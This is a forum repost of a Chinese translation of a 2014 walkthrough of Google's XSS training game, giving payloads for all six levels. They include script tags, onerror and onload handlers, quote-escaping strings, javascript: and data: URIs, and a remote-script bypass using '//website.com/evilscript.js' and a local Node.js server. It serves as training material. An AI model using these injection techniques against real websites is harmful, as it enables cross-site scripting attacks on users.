搜索

[8078] 2014-06-09_玩转Google的XSS游戏

文档创建者：s7ckTeam
浏览次数：1
最后更新：2025-01-17
2014-06-09_玩转Google的XSS游戏 玩 转 G o o g l e 的 X S S 游 戏 F r e e B u f   2 0 1 4 - 0 6 - 0 9 作 者   T a s k i l l e r H i 基 友 们 ， 本 文 主 要 描 述 G o o g l e 前 些 天 发 布 的 关 于 X S S 漏 洞 游 戏 的 玩 法 ， 地 址 在 这 里 。 h t t p s : / / x s s - g a m e . a p p s p o t . c o m / 本 文 我 会 列 举 在 网 络 中 找 到 的 一 些 有 趣 的 方 法 ， 包 含 所 有 关 卡 。 废 话 不 多 说 ， 直 接 开 始 吧 ！ L e v e l   1 :   H e l l o ,   w o r l d   o f   X S S 好 吧 ， 这 一 关 很 简 单 ， 没 什 么 可 说 的 ： < s c r i p t > a l e r t ( 1 ) ; < / s c r i p t > L e v e l   2 :   P e r s i s t e n c e   i s   k e y 这 一 关 可 以 用 以 下 这 几 种 不 同 的 方 式 ： < a   h r e f = " t e s t "   o n c l i c k = " j a v a s c r i p t : a l e r t ( 1 ) ; " > t e s t < / a > 创 建 一 个 链 接 （ 需 要 与 用 户 交 互 ） < i m g   s r c = " t e s t . p n g "   o n e r r o r = " j a v a s c r i p t : a l e r t ( 1 ) ; " / > 加 载 一 幅 无 效 图 片 （ 使 用 o n e r r o r ） — — 不 需 要 交 互 。 < i m g   s r c = " h t t p s : / / x s s - g a m e . a p p s p o t . c o m / s t a t i c / l e v e l 2 _ i c o n . p n g " o n l o a d = " a l e r t ( 1 ) ; "   / > 加 载 一 张 有 效 图 片 （ 使 用 o n l o a d ） — — 不 需 要 交 互 。 L e v e l   3 :   T h a t   s i n k i n g   f e e l i n g … 页 面 上 加 载 的 图 片 使 用 了 w i n d o w . l o c a t i o n . h a s h   这 一 j a v a s c r i p t 属 性 。 所 以 我 们 可 以 用 如 下 这 种 方 式 ： 1 . j p g '   o n l o a d = ' j a v a s c r i p t : a l e r t ( 1 ) ; ' 加 载 一 张 有 效 图 片 （ 使 用 o n l o a d ） — — 不 需 要 交 互 。 或 者 ： '   o n e r r o r = " a l e r t ( 1 ) " > 加 载 一 张 无 效 图 片 （ 使 用 o n e r r o r ） — — 不 需 要 交 互 。 也 可 以 用 如 下 方 式 使 用 s c r i p t   标 签 ： ' > < s c r i p t > a l e r t ( 1 ) ; < / s c r i p t >
L e v e l   4 :   C o n t e x t   m a t t e r s 这 一 关 需 要 用 一 些 不 同 的 方 法 ： 1 ' ) % 3 B a l e r t ( ' 1 分 号 字 符 必 须 被 编 码 ， 否 则 会 被 过 滤 。 单 引 号 ’ 也 有 可 能 被 过 滤 ： 1 % 2 7 ) % 3 b a l e r t ( % 2 7 1 也 可 以 使 用 | | 逻 辑 操 作 符 ： 1 ' )   | |   a l e r t ( ' 1 也 可 以 用 下 面 这 种 方 法 ， 不 需 要 任 何 编 码 / 操 作 符 ： 1 ' ) ; a l e r t ( 1 ) ; / / L e v e l   5 :   B r e a k i n g   p r o t o c o l 在 这 一 关 ， 像 双 引 号 ” 这 样 的 字 符 会 被 过 滤 ， 我 们 只 需 要 使 用 ： j a v a s c r i p t : a l e r t ( 1 ) ; 之 后 ， 单 击 链 接 之 后 ， 就 会 提 示 a l e r t 警 告 框 了 。 L e v e l   6 :   F o l l o w   t h e   r a b b i t 在 最 后 一 关 ， 我 们 可 以 用 如 下 方 式 使 用 d a t a : t e x t / j a v a s c r i p t ： d a t a : t e x t / j a v a s c r i p t , a l e r t ( 1 ) ; 正 则 表 达 式 也 是 大 小 写 敏 感 的 ， 所 以 我 们 可 以 用 “ H T T P ” 代 替 “ h t t p ” ， 之 后 用 如 下 这 种 方 式 加 载 远 程 脚 本 ： H T T P : / / 1 2 7 . 0 . 0 . 1 : 8 0 0 0 或 在 网 址 最 开 始 处 添 加 一 个 空 格 ： [ 空 格 ] h t t p : / / 1 2 7 . 0 . 0 . 1 : 8 0 0 0 首 页 必 须 包 含 一 些 类 似 a l e r t ( 1 ) 这 样 的 j a v a s c r i p t 脚 本 。 我 在 网 络 上 看 到 有 些 人 没 办 法 加 载 某 些 H T T P 脚 本 ， 因 为 他 们 使 用 的 是 H T T P S 版 本 ， 这 种 情 况 下 ， 可 以 自 己 创 建 一 个 简 单 的 H T T P S 服 务 器 （ 例 如 使 用 N o d e . j s ） 。 v a r   h t t p s   =   r e q u i r e ( ' h t t p s ' ) ; v a r   f s   =   r e q u i r e ( ' f s ' ) ;   v a r   h s k e y   =   f s . r e a d F i l e S y n c ( ' s e r v e r . k e y ' ) ; v a r   h s c e r t   =   f s . r e a d F i l e S y n c ( ' s e r v e r . c r t ' )   v a r   o p t i o n s   =   {         k e y :   h s k e y ,
        c e r t :   h s c e r t } ;   h t t p s . c r e a t e S e r v e r ( o p t i o n s ,   f u n c t i o n   ( r e q ,   r e s ) {         r e s . w r i t e H e a d ( 2 0 0 ) ;         r e s . e n d ( " a l e r t ( 1 ) ; " ) ; } ) . l i s t e n ( 8 0 0 0 ) ; 利 用 N o d e . j s 实 现 简 单 的 H T T P S 服 务 器 在 这 两 种 情 况 下 ， 可 以 使 用 以 下 代 码 绕 过 过 滤 ： / / w e b s i t e . c o m / e v i l s c r i p t . j s 双 反 斜 杠 符 号 / / 是 使 用 h t t p s 或 h t t p 的 另 一 种 方 式 ， 实 际 情 况 中 会 用 哪 个 取 决 于 网 站 使 用 的 协 议 。 例 如 ， 如 果 运 行 着 自 己 的 H T T P S 服 务 器 ， 可 以 注 入 以 下 代 码 ： / / 1 2 7 . 0 . 0 . 1 : 8 0 0 0 D o n e . 希 望 读 完 本 文 的 读 者 能 有 所 收 获 。 这 个 游 戏 还 是 挺 有 意 思 的 ， 期 待 其 后 续 的 作 品 。 原 文 地 址 ： h t t p : / / p a u l s e c . g i t h u b . i o / b l o g / 2 0 1 4 / 0 6 / 0 2 / d i v i n g - i n t o - x s s - g o o g l e s - g a m e / 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理